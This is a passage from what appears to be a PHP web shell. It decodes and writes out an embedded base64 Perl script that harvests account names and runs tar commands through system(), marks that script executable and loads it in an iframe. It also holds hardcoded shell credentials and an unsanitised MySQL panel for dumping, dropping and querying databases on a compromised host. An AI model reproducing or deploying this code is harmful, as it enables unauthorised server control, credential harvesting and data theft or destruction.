c3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
2402
2403
2404
2405$file = fopen("config.izo" ,"w+");
2406$write = fwrite ($file ,base64_decode($configshell));
2407fclose($file);
2408 chmod("config.izo",0755);
2409 echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
2410 </div>";
2411}
2412/////////////////////////////////////////////////////////////////////////
2413elseif(isset($_GET['x']) && ($_GET['x'] == 'ms'))
2414{
2415?>
2416<form action="?y=<?php echo $pwd; ?>&x=ms" method="post">
2417
2418<?php
2419$PASSWORD = "tryag_vb";
2420$USERNAME = "102030";
2421
2422if ( function_exists('ini_get') ) {
2423 $onoff = ini_get('register_globals');
2424} else {
2425 $onoff = get_cfg_var('register_globals');
2426}
2427if ($onoff != 1) {
2428 @extract($HTTP_SERVER_VARS, EXTR_SKIP);
2429 @extract($HTTP_COOKIE_VARS, EXTR_SKIP);
2430 @extract($HTTP_POST_FILES, EXTR_SKIP);
2431 @extract($HTTP_POST_VARS, EXTR_SKIP);
2432 @extract($HTTP_GET_VARS, EXTR_SKIP);
2433 @extract($HTTP_ENV_VARS, EXTR_SKIP);
2434}
2435
2436function logon() {
2437 global $PHP_SELF;
2438 setcookie( "mysql_web_admin_username" );
2439 setcookie( "mysql_web_admin_password" );
2440 setcookie( "mysql_web_admin_hostname" );
2441 echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>\n";
2442 echo "<table class=tabnet cellpadding=2><tr><td><center>\n";
2443 echo "\n";
2444 echo "\n";
2445 echo "<form action='$PHP_SELF'>\n";
2446 echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>\n";
2447 echo "<table class=tabnet cellpadding=5 cellspacing=1 style='width:300px;'>\n";
2448 echo "<th colspan='2'>MySQL Interface</th>";
2449 echo "<tr><td>Hostname </td><td> <input class='inputz' style='width:229px;' type=text name=hostname value='localhost'></td></tr>\n";
2450 echo "<tr><td>Username </td><td> <input class='inputz' style='width:229px;' type=text name=username></td></tr>\n";
2451 echo "<tr><td>Password </td><td> <input class='inputz' style='width:229px;' type=password name=password></td></tr>\n";
2452 echo "</table><p>\n";
2453 echo "<input class='inputzbut' type=submit value='Enter'>\n";
2454 echo "<input class='inputzbut' type=reset value='Clear'><br>\n";
2455 echo "</form>\n";
2456 echo "\n";
2457 echo "</center></td></tr></table>\n";
2458 echo "\n";
2459 echo "\n";
2460}
2461
2462function logon_submit() {
2463 global $username, $password, $hostname ,$PHP_SELF;
2464 if($hostname =='')
2465 $hostname = 'localhost';
2466 setcookie( "mysql_web_admin_username", $username );
2467 setcookie( "mysql_web_admin_password", $password );
2468 setcookie( "mysql_web_admin_hostname", $hostname );
2469 echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
2470
2471}
2472
2473function echoQueryResult() {
2474 global $queryStr, $errMsg;
2475
2476 if( $errMsg == "" ) $errMsg = "Success";
2477 if( $queryStr != "" ) {
2478 echo "<table class=tabnet cellpadding=5>\n";
2479 echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
2480 echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
2481 echo "</table><p>\n";
2482 }
2483}
2484
2485function listDatabases() {
2486 global $mysqlHandle, $PHP_SELF;
2487
2488 echo "<h1>Databases List</h1>\n";
2489
2490 echo "<form action='$PHP_SELF'>\n";
2491 echo "<input type=hidden name=action value=createDB>\n";
2492 echo "<input type=text name=dbname>\n";
2493 echo "<input type=submit value='Create Database'>\n";
2494 echo "</form>\n";
2495 echo "<hr>\n";
2496
2497 echo "<table class=tabnet cellspacing=1 cellpadding=5>\n";
2498
2499 $pDB = mysql_list_dbs( $mysqlHandle );
2500 $num = mysql_num_rows( $pDB );
2501 for( $i = 0; $i < $num; $i++ ) {
2502 $dbname = mysql_dbname( $pDB, $i );
2503 echo "<tr>\n";
2504 echo "<td>$dbname</td>\n";
2505 echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
2506 echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
2507 echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
2508 echo "</tr>\n";
2509 }
2510 echo "</table>\n";
2511}
2512
2513function createDatabase() {
2514 global $mysqlHandle, $dbname, $PHP_SELF;
2515
2516 mysql_create_db( $dbname, $mysqlHandle );
2517 listDatabases();
2518}
2519
2520function dropDatabase() {
2521 global $mysqlHandle, $dbname, $PHP_SELF;
2522
2523 mysql_drop_db( $dbname, $mysqlHandle );
2524 listDatabases();
2525}
2526
2527function listTables() {
2528 global $mysqlHandle, $dbname, $PHP_SELF;
2529
2530
2531 echo "<h1>Tables List</h1>\n";
2532 echo "<p class=location>$dbname</p>\n";
2533 echoQueryResult();
2534 echo "<form action='$PHP_SELF'>\n";
2535 echo "<input type=hidden name=action value=createTable>\n";
2536 echo "<input type=hidden name=dbname value=$dbname>\n";
2537 echo "<input type=text name=tablename>\n";
2538 echo "<input type=submit value='Create Table'>\n";
2539 echo "</form>\n";
2540 echo "<form action='$PHP_SELF'>\n";
2541 echo "<input type=hidden name=action value=query>\n";
2542 echo "<input type=hidden name=dbname value=$dbname>\n";
2543 echo "<input type=text size=120 name=queryStr>\n";
2544 echo "<input type=submit value='Query'>\n";
2545 echo "</form>\n";
2546 echo "<hr>\n";
2547
2548 $pTable = mysql_list_tables( $dbname );
2549
2550 if( $pTable == 0 ) {
2551 $msg = mysql_error();
2552 echo "<h3>Error : $msg</h3><p>\n";
2553 return;
2554 }
2555 $num = mysql_num_rows( $pTable );
2556
2557 echo "<table cellspacing=1 cellpadding=5>\n";
2558
2559 for( $i = 0; $i < $num; $i++ ) {
2560 $tablename = mysql_tablename( $pTable, $i );
2561
2562 echo "<tr>\n";
2563 echo "<td>\n";
2564 echo "$tablename\n";
2565 echo "</td>\n";
2566 echo "<td>\n";
2567 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
2568 echo "</td>\n";
2569 echo "<td>\n";
2570 echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>\n";
2571 echo "</td>\n";
2572 echo "<td>\n";
2573 echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
2574 echo "</td>\n";
2575 echo "<td>\n";
2576 echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
2577 echo "</td>\n";
2578 echo "</tr>\n";
2579 }
2580
2581 echo "</table>";
2582}
2583
2584function createTable() {
2585 global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
2586
2587 $queryStr = "CREATE TABLE $tablename ( no INT )";
2588 mysql_select_db( $dbname, $mysqlHandle );
2589 mysql_query( $queryStr, $mysqlHandle );
2590 $errMsg = mysql_error();
2591
2592 listTables();
2593}
2594
2595function dropTable() {
2596 global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
2597
2598 $queryStr = "DROP TABLE $tablename";
2599 mysql_select_db( $dbname, $mysqlHandle );
2600 mysql_query( $queryStr, $mysqlHandle );
2601 $errMsg = mysql_error();
2602
2603 listTables();
2604}
2605
2606function viewSchema() {
2607 global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
2608
2609 echo "<h1>Table Schema</h1>\n";
2610 echo "<p class=location>$dbname > $tablename</p>\n";
2611
2612 echoQueryResult();
2613
2614 echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
2615 echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
2616 echo "<hr>\n";
2617
2618 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
2619 $num = mysql_num_rows( $pResult );
2620
2621 echo "<table cellspacing=1 cellpadding=5>\n";
2622 echo "<tr>\n";
2623 echo "<th>Field</th>\n";
2624 echo "<th>Type</th>\n";
2625 echo "<th>Null</th>\n";
2626 echo "<th>Key</th>\n";
2627 echo "<th>Default</th>\n";
2628 echo "<th>Extra</th>\n";
2629 echo "<th colspan=2>Action</th>\n";
2630 echo "</tr>\n";
2631
2632
2633 for( $i = 0; $i < $num; $i++ ) {
2634 $field = mysql_fetch_array( $pResult );
2635 echo "<tr>\n";
2636 echo "<td>".$field["Field"]."</td>\n";
2637 echo "<td>".$field["Type"]."</td>\n";
2638 echo "<td>".$field["Null"]."</td>\n";
2639 echo "<td>".$field["Key"]."</td>\n";
2640 echo "<td>".$field["Default"]."</td>\n";
2641 echo "<td>".$field["Extra"]."</td>\n";
2642 $fieldname = $field["Field"];
2643 echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
2644 echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
2645 echo "</tr>\n";
2646 }
2647 echo "</table>\n";
2648
2649}
2650
2651function manageField( $cmd ) {
2652 global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
2653
2654 if( $cmd == "add" )
2655 echo "<h1>Add Field</h1>\n";
2656 else if( $cmd == "edit" ) {
2657 echo "<h1>Edit Field</h1>\n";
2658 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
2659 $num = mysql_num_rows( $pResult );
2660 for( $i = 0; $i < $num; $i++ ) {
2661 $field = mysql_fetch_array( $pResult );
2662 if( $field["Field"] == $fieldname ) {
2663 $fieldtype = $field["Type"];
2664 $fieldkey = $field["Key"];
2665 $fieldextra = $field["Extra"];
2666 $fieldnull = $field["Null"];
2667 $fielddefault = $field["Default"];
2668 break;
2669 }
2670 }
2671 $type = strtok( $fieldtype, " (,)\n" );
2672 if( strpos( $fieldtype, "(" ) ) {
2673 if( $type == "enum" | $type == "set" ) {
2674 $valuelist = strtok( " ()\n" );
2675 } else {
2676 $M = strtok( " (,)\n" );
2677 if( strpos( $fieldtype, "," ) )
2678 $D = strtok( " (,)\n" );
2679 }
2680 }
2681 }
2682
2683 echo "<p class=location>$dbname > $tablename</p>\n";
2684 echo "<form action=$PHP_SELF>\n";
2685
2686 if( $cmd == "add" )
2687 echo "<input type=hidden name=action value=addField_submit>\n";
2688 else if( $cmd == "edit" ) {
2689 echo "<input type=hidden name=action value=editField_submit>\n";
2690 echo "<input type=hidden name=old_name value=$fieldname>\n";
2691 }
2692 echo "<input type=hidden name=dbname value=$dbname>\n";
2693 echo "<input type=hidden name=tablename value=$tablename>\n";
2694
2695 echo "<h3>Name</h3>\n";
2696 echo "<input type=text name=name value=$fieldname><p>\n";
2697 echo '
2698
2699<h3>Type</h3>
2700
2701<font size=2>
2702* `M\' indicates the maximum display size.<br>
2703* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
2704</font>
2705
2706< table class="tabnet">
2707<tr>
2708<th>Type</th><th> M </th><th> D </th><th>unsigned</th><th>zerofill</th><th>binary</th>
2709</tr>
2710<tr>
2711<td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
2712<td align=center>O</td>
2713<td> </td>
2714<td align=center>O</td>
2715<td align=center>O</td>
2716<td> </td>
2717</tr>
2718<tr>
2719<td><input type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
2720<td align=center>O</td>
2721<td> </td>
2722<td align=center>O</td>
2723<td align=center>O</td>
2724<td> </td>
2725</tr>
2726<tr>
2727<td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>
2728
2729<td align=center>O</td>
2730<td> </td>
2731<td align=center>O</td>
2732<td align=center>O</td>
2733<td> </td>
2734</tr>
2735<tr>
2736<td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
2737<td align=center>O</td>
2738<td> </td>
2739<td align=center>O</td>
2740<td align=center>O</td>
2741<td> </td>
2742</tr>
2743<tr>
2744<td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
2745<td align=center>O</td>
2746<td> </td>
2747<td align=center>O</td>
2748<td align=center>O</td>
2749<td> </td>
2750</tr>
2751<tr>
2752<td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
2753<td align=center>O</td>
2754<td align=center>O</td>
2755<td> </td>
2756<td align=center>O</td>
2757<td> </td>
2758</tr>
2759<tr>
2760<td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
2761<td align=center>O</td>
2762<td align=center>O</td>
2763<td> </td>
2764<td align=center>O</td>
2765<td> </td>
2766</tr>
2767<tr>
2768<td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
2769<td align=center>O</td>
2770<td align=center>O</td>
2771<td> </td>
2772<td align=center>O</td>
2773<td> </td>
2774</tr>
2775<tr>
2776<td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
2777<td> </td>
2778<td> </td>
2779<td> </td>
2780<td> </td>
2781<td> </td>
2782</tr>
2783<tr>
2784<td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
2785<td> </td>
2786<td> </td>
2787<td> </td>
2788<td> </td>
2789<td> </td>
2790</tr>
2791<tr>
2792<td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
2793<td align=center>O</td>
2794<td> </td>
2795<td> </td>
2796<td> </td>
2797<td> </td>
2798</tr>
2799<tr>
2800<td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
2801<td> </td>
2802<td> </td>
2803<td> </td>
2804<td> </td>
2805<td> </td>
2806</tr>
2807<tr>
2808<td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
2809<td> </td>
2810<td> </td>
2811<td> </td>
2812<td> </td>
2813<td> </td>
2814</tr>
2815<tr>
2816<td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
2817<td align=center>O</td>
2818<td> </td>
2819<td> </td>
2820<td> </td>
2821<td align=center>O</td>
2822</tr>
2823<tr>
2824<td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
2825<td align=center>O</td>
2826<td> </td>
2827<td> </td>
2828<td> </td>
2829<td align=center>O</td>
2830</tr>
2831<tr>
2832<td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
2833<td> </td>
2834<td> </td>
2835<td> </td>
2836<td> </td>
2837<td> </td>
2838</tr>
2839<tr>
2840<td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
2841<td> </td>
2842<td> </td>
2843<td> </td>
2844<td> </td>
2845<td> </td>
2846</tr>
2847<tr>
2848<td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
2849<td> </td>
2850<td> </td>
2851<td> </td>
2852<td> </td>
2853<td> </td>
2854</tr>
2855<tr>
2856<td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
2857<td> </td>
2858<td> </td>
2859<td> </td>
2860<td> </td>
2861<td> </td>
2862</tr>
2863<tr>
2864<td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
2865<td> </td>
2866<td> </td>
2867<td> </td>
2868<td> </td>
2869<td> </td>
2870</tr>
2871<tr>
2872<td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
2873<td> </td>
2874<td> </td>
2875<td> </td>
2876<td> </td>
2877<td> </td>
2878</tr>
2879<tr>
2880<td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
2881<td> </td>
2882<td> </td>
2883<td> </td>
2884<td> </td>
2885<td> </td>
2886</tr>
2887<tr>
2888<td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
2889<td> </td>
2890<td> </td>
2891<td> </td>
2892<td> </td>
2893<td> </td>
2894</tr>
2895<tr>
2896<td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
2897<td colspan=5><center>value list</center></td>
2898</tr>
2899<tr>
2900<td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
2901<td colspan=5><center>value list</center></td>
2902</tr>
2903
2904</table>
2905<table>
2906<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
2907<tr>
2908<td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
2909<td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
2910<td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
2911<td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
2912<td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" ) ) echo "checked";echo '></td>
2913<td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
2914</tr>
2915</table>
2916
2917
2918<h3>Flags</h3>
2919<table>
2920<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
2921<tr>
2922<td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
2923<td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
2924<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
2925<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
2926</tr>
2927</table>
2928
2929<p>';
2930
2931 if( $cmd == "add" )
2932 echo "<input type=submit value='Add Field'>\n";
2933 else if( $cmd == "edit" )
2934 echo "<input type=submit value='Edit Field'>\n";
2935 echo "<input type=button value=Cancel onClick='history.back()'>\n";
2936 echo "</form>\n";
2937}
2938
2939function manageField_submit( $cmd ) {
2940 global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
2941 $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;
2942
2943 if( $cmd == "add" )
2944 $queryStr = "ALTER TABLE $tablename ADD $name ";
2945 else if( $cmd == "edit" )
2946 $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
2947
2948 if( $M != "" )
2949 if( $D != "" )
2950 $queryStr .= "$type($M,$D) ";
2951 else
2952 $queryStr .= "$type($M) ";
2953 else if( $valuelist != "" ) {
2954 $valuelist = stripslashes( $valuelist );
2955 $queryStr .= "$type($valuelist) ";
2956 } else
2957 $queryStr .= "$type ";
2958
2959 $queryStr .= "$unsigned $zerofill $binary ";
2960
2961 if( $default_value != "" )
2962 $queryStr .= "DEFAULT '$default_value' ";
2963
2964 $queryStr .= "$not_null $auto_increment";
2965
2966 mysql_select_db( $dbname, $mysqlHandle );
2967 mysql_query( $queryStr, $mysqlHandle );
2968 $errMsg = mysql_error();
2969
2970 // key change
2971 $keyChange = false;
2972 $result = mysql_query( "SHOW KEYS FROM $tablename" );
2973 $primary = "";
2974 while( $row = mysql_fetch_array($result) )
2975 if( $row["Key_name"] == "PRIMARY" ) {
2976 if( $row[Column_name] == $name )
2977 $keyChange = true;
2978 else
2979 $primary .= ", $row[Column_name]";
2980 }
2981 if( $primary_key == "PRIMARY KEY" ) {
2982 $primary .= ", $name";
2983 $keyChange = !$keyChange;
2984 }
2985 $primary = substr( $primary, 2 );
2986 if( $keyChange == true ) {
2987 $q = "ALTER TABLE $tablename DROP PRIMARY KEY";
2988 mysql_query( $q );
2989 $queryStr .= "<br>\n" . $q;
2990 $errMsg .= "<br>\n" . mysql_error();
2991 $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
2992 mysql_query( $q );
2993 $queryStr .= "<br>\n" . $q;
2994 $errMsg .= "<br>\n" . mysql_error();
2995 }
2996
2997 viewSchema();
2998}
2999
3000function dropField() {
3001 global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
3002
3003 $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
3004 mysql_select_db( $dbname, $mysqlHandle );
3005 mysql_query( $queryStr , $mysqlHandle );
3006 $errMsg = mysql_error();
3007
3008 viewSchema();
3009}
3010
3011function viewData( $queryStr ) {
3012 global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
3013
3014 echo "<h1>Data in Table</h1>\n";
3015 if( $tablename != "" )
3016 echo "<p class=location>$dbname > $tablename</p>\n";
3017 else
3018 echo "<p class=location>$dbname</p>\n";
3019
3020 $queryStr = stripslashes( $queryStr );
3021 if( $queryStr == "" ) {
3022 $queryStr = "SELECT * FROM $tablename";
3023 if( $orderby != "" )
3024 $queryStr .= " ORDER BY $orderby";
3025 echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
3026 echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
3027 }
3028
3029 $pResult = mysql_db_query( $dbname, $queryStr );
3030 $fieldt = mysql_fetch_field($pResult);
3031 $tablename = $fieldt->table;
3032 $errMsg = mysql_error();
3033
3034 $GLOBALS[queryStr] = $queryStr;
3035
3036 if( $pResult == false ) {
3037 echoQueryResult();
3038 return;
3039 }
3040 if( $pResult == 1 ) {
3041 $errMsg = "Success";
3042 echoQueryResult();
3043 return;
3044 }
3045
3046 echo "<hr>\n";
3047
3048 $row = mysql_num_rows( $pResult );
3049 $col = mysql_num_fields( $pResult );
3050
3051 if( $row == 0 ) {
3052 echo "No Data Exist!";
3053 return;
3054 }
3055
3056 if( $rowperpage == "" ) $rowperpage = 30;
3057 if( $page == "" ) $page = 0;
3058 else $page--;
3059 mysql_data_seek( $pResult, $page * $rowperpage );
3060
3061 echo "<table cellspacing=1 cellpadding=2>\n";
3062 echo "<tr>\n";
3063 for( $i = 0; $i < $col; $i++ ) {
3064 $field = mysql_fetch_field( $pResult, $i );
3065 echo "<th>";
3066 if($action == "dmlld0RhdGE=")
3067 echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
3068 else
3069 echo $field->name."\n";
3070 echo "</th>\n";
3071 }
3072 echo "<th colspan=2>Action</th>\n";
3073 echo "</tr>\n";
3074
3075 for( $i = 0; $i < $rowperpage; $i++ ) {
3076 $rowArray = mysql_fetch_row( $pResult );
3077 if( $rowArray == false ) break;
3078 echo "<tr>\n";
3079 $key = "";
3080 for( $j = 0; $j < $col; $j++ ) {
3081 $data = $rowArray[$j];
3082
3083 $field = mysql_fetch_field( $pResult, $j );
3084 if( $field->primary_key == 1 )
3085 $key .= "&" . $field->name . "=" . $data;
3086
3087 if( strlen( $data ) > 30 )
3088 $data = substr( $data, 0, 30 ) . "...";
3089 $data = htmlspecialchars( $data );
3090 echo "<td>\n";
3091 echo "$data\n";
3092 echo "</td>\n";
3093 }
3094
3095 if( $key == "" )
3096 echo "<td colspan=2>no Key</td>\n";
3097 else {
3098 echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
3099 echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
3100 }
3101 echo "</tr>\n";
3102 }
3103 echo "</table>\n";
3104
3105 echo "<font size=2>\n";
3106 if($action == "dmlld0RhdGE=")
3107 echo "<form action='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename' method=post>\n";
3108 else
3109 echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
3110
3111 echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
3112 echo "</font>\n";
3113 echo " | ";
3114 if( $page > 0 ) {
3115 if($action == "dmlld0RhdGE=")
3116 echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page);
3117 else
3118 echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
3119 if( $orderby != "" && $action == "dmlld0RhdGE=")
3120 echo "&orderby=$orderby";
3121 echo "'>Prev</a>\n";
3122 } else
3123 echo "Prev";
3124 echo " | ";
3125 if( $page < ($row/$rowperpage)-1 ) {
3126 if($action == "dmlld0RhdGE=")
3127 echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&page=".($page+2);
3128 else
3129 echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
3130 if( $orderby != "" && $action == "dmlld0RhdGE=")
3131 echo "&orderby=$orderby";
3132 echo "'>Next</a>\n";
3133 } else
3134 echo "Next";
3135 echo " | ";
3136 if( $row > $rowperpage ) {
3137 echo "<input type=text size=4 name=page>\n";
3138 echo "<input type=submit value='Go'>\n";
3139 }
3140 echo "</form>\n";
3141 echo "</font>\n";
3142}
3143
3144function manageData( $cmd ) {
3145 global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
3146
3147 if( $cmd == "add" )
3148 echo "<h1>Add Data</h1>\n";
3149 else if( $cmd == "edit" ) {
3150 echo "<h1>Edit Data</h1>\n";
3151 $pResult = mysql_list_fields( $dbname, $tablename );
3152 $num = mysql_num_fields( $pResult );
3153
3154 $key = "";
3155 for( $i = 0; $i < $num; $i++ ) {
3156 $field = mysql_fetch_field( $pResult, $i );
3157 if( $field->primary_key == 1 )
3158 if( $field->numeric == 1 )
3159 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
3160 else
3161 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
3162 }
3163 $key = substr( $key, 0, strlen($key)-4 );
3164
3165 mysql_select_db( $dbname, $mysqlHandle );
3166 $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
3167 $data = mysql_fetch_array( $pResult );
3168 }
3169
3170 echo "<p class=location>$dbname > $tablename</p>\n";
3171
